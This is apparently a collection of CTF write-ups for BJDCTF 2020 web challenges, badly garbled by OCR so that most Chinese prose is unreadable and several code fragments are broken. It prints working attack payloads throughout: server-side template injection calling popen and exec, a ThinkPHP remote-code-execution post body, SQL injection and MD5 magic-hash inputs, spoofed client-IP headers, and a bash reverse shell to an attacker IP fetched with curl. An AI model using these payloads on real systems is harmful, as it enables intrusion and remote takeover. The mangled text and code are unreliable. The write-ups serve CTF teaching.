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ssti
payload:

gag?name={{"". _class . base . subclasses_()[117].__init . globals_['popen'](‘cat ../flag').read()}}
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https://xz.aliyun.com/t/3679
https://www.cnblogs.com/keithtt/p/7709445.html
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RCE (remote code execution)
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payload:


https://blog.csdn.net/qq_43871200
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index.php/?s=captcha

post_data:
method=__ construct&filter[]=system&method=get&server[REQUEST METHOD]=cat /flag

[BJDCTF2020]Easy MD5

22111, Hlburpsuite$:# 7] LU A FllresponseffTheader A hint:

Hint: select * from 'admin’ where password=md5($pass,true)

SiAel e AFRHT " AT XA 1, phpHt md5() BRI S — AN SR true 1918, md52 f5 AT [B] 545 B Hh g 2 LB 5
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fifdyop | 276f722736¢95d99e921722cf9ed621c | b™or'6\xc9]\x99\xe9! r,\xfO\xedb\x1c"

SRJEmysqld,  BLAE O F RISk 7445 # e Jgboolli iy, 254 Jutrue
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http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

SR 5 1% | T DO YOU LIKE MD5 , T Ti) A A VE R -

md5($a) == md5($b)){

FORSHAMEmMASEARSE, FIS9LEEL == M 1=, "L oe ?F%E’J?ﬁ% seid, phpHi i md5() 1 sha1() < KIIRBTEMENS
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QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

5155964671a
0e342768416822451524974117254469

5214587387a
0e848240448830537924465865611904

5214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

payload:?a=QNKCDZO&b=s878926199a

SRJA TR B EOR:


http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

<?php
error_reporting(0);
include

highlight_file(_ FILE_);

if($_POST][ 1'==$_POST]| 1&&md5($_POST] md5($_POST][
echo $flag;

fi Fpost s stk i iy 4L V24, payload:

post _data
param1[]=1qm2[]=2
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Vi laLOg1n.php, [a]
Sorry, this site will be available after totally 99 years!

& FRIE B K HI cookie 7AE time=woox , BHUZJEIERIME, 7E/EHZ ML, HE

Sorry, this site is only optimized for those who comes from localhost

JE H B AT 2182 header BRI T, S5 M CHEE
http header
P AN B SR, LRI S, 21800 X-Forwarded-For 4127.0.0. 15 [A] .«

Do u think that | dont know X-Forwarded-For?

[Too young too simple sometimes naive

A LAH Client-IP 5% X-Real-ip {4 & XFF
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Sorry, this site is only optimized for browsers that run on Commodo 64

HYA 47T LAY S]Commodo B4R IfIfL —AMR1E RS, T LIYF|Commodore 64 (EATIFUATIVE], HBET) . IEBUA
N Commodore 64 , HoAth 75 ZAE 1) A 7

Client-IP: 127.0.0.1  //% ' ¥iip
From: root@gem-love.com //email
IA: y1ng.vip /Inttp proxy

Referer: gem-love.com  //>KJ&

IR [ LT #47 HL AT base64 4 i [ flag
[BJDCTF 2nd]duangShell
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how can i give you source code? .swp?!

ere is P3rh4ps's girl friend ???


https://www.cnblogs.com/jxl1996/p/10245958.html

swp SCAF AR IEH R IVIvimIS P 2R SO, al B D5 (Evim K R EOR 0 TAF CRIBUIRIS SCAE? D, AT vim -r filename 7K 5= 4
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Vil Lindexphp.swp , fEHIVIMIKEZIEATS, SRJ5 111,26 w /index,php K ARRS 43 (R A7 2T [Findex.phpH .

<?php

error_reporting(0);
echo
if (lisset($_POST][
die(
} else {
$girl =$ POST]
if (preg_match('A>|\\\
just girl
Is|phpinfo|cat\%|\"|\~|base64 xxd|echo|\$/i
img/p3_need_beautiful _gf.png' He is p3
} else {

exec($girl);

exec() BEE system() A—F, ZRABATERIIERK, Prilix—@ % 2 kifishell, Aid3— B Y] Hbuuoj L HIELHLE 4
Al BT AR — A S ok, KREUE B

TR RS 25 A EEAN SO shell.txt

bash -i >& /dev/tcp/[ip1]/[port1] 0>&1

SRIGAEIp TR 2% L Fnc i Wrport1

nc -Ivp [port1]

SRJG i payload, Vi A #EHL

post_data: girl_friend=curl ip1/shell.txt

SR JETE RS #ip1 AT LACE] 3 ¥ shell
Linux I J3ishell JLFF 7 v 24 ) ja 45
[BJDCTF2020]Mark loves cat

dirsearchf 14l LLABIE 1.gitt H 3, {1 GitHack 7] LLIEAL IS down 2k

python2 GitHack.py http://xod.git/
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https://www.jianshu.com/p/6aca9b29514d

foreach($_POST as $x => $y){
$$x = $y;

foreach($_GET as $x => $y){
$$x = $$y;

foreach($_GET as $x => $y){
if($_GET][ | $x $x
exit($handsome);

if(lisset($_GET][ ) isset($_POST][
exit($yds);

if($_POST[ ]
exit($is);

<?php
$flag = file_get contents(

AR,
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[BJDCTF 2nd]fii #.7E A

robots.txtF #2 7~ F hint.txt, hint.txt

Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]";
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select * from users where username

ATLVERIRIRAR T, NiZREFRmD) 7, ERkhintit H e IEW K %654 fegetflag, T WA 1IR3 AET IR AR E1 2, 5 EARE
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import requests

s.lower()

for xin s:
data

}

res = requests.post( ,data=data)

in res.text:
ans+=x
break
print(ans)
if len(ans)==12:

EX i ‘J”Lﬁﬂag I

[BJDCTF2020]The mystery of ip
TN G, SBonfifagiim, FTH 2505 :
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do you know why i know your ip?
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payload:

Client-IP: {{system('ls /')}}

Client-IP: {{system('cat /flag")}}
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[BJDCTF2020]Cookie is so stable
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https://zhuanlan.zhihu.com/p/28823933
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user={{phpinfo()}}
EIRTH
\What do you want to do?!

i - ifpayload:

{{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("cat /flag")}}
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find / -name flag

& 5 /flag
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${|| " ]Oln("ab“)}
Unknown
w77 <
Not vulnerable Unknown
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https://zhuanlan.zhihu.com/p/28823933
https://www.freebuf.com/vuls/83999.html

FIOTHTG, WEESNEE, ©fF fJgungungun, UFEEEE. .
githackya—F, FJLLiF%lindex

echo unserialize($a);

SOFHML, 1EM B3R T g, N Zecho P AL IS R, it LLER F php i — 2445 _toString() /7452, {E_toString ()i 5 42 2%
SOF AL, H & ErrorflException.

b = Y1ng K f# ¥ipayload:

new Exception(

echo urlencode(serialize($y1ng));

buuoj FE I H A 75 Encllir, EHEfEresponseffjcookie sl 7] Llgetflag
43 wp:

R Iwp
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B iwp (github)
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https://www.gem-love.com/ctf/2097.html
https://imagin.vip/?p=166
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https://github.com/BjdsecCA/BJDCTF2020_January
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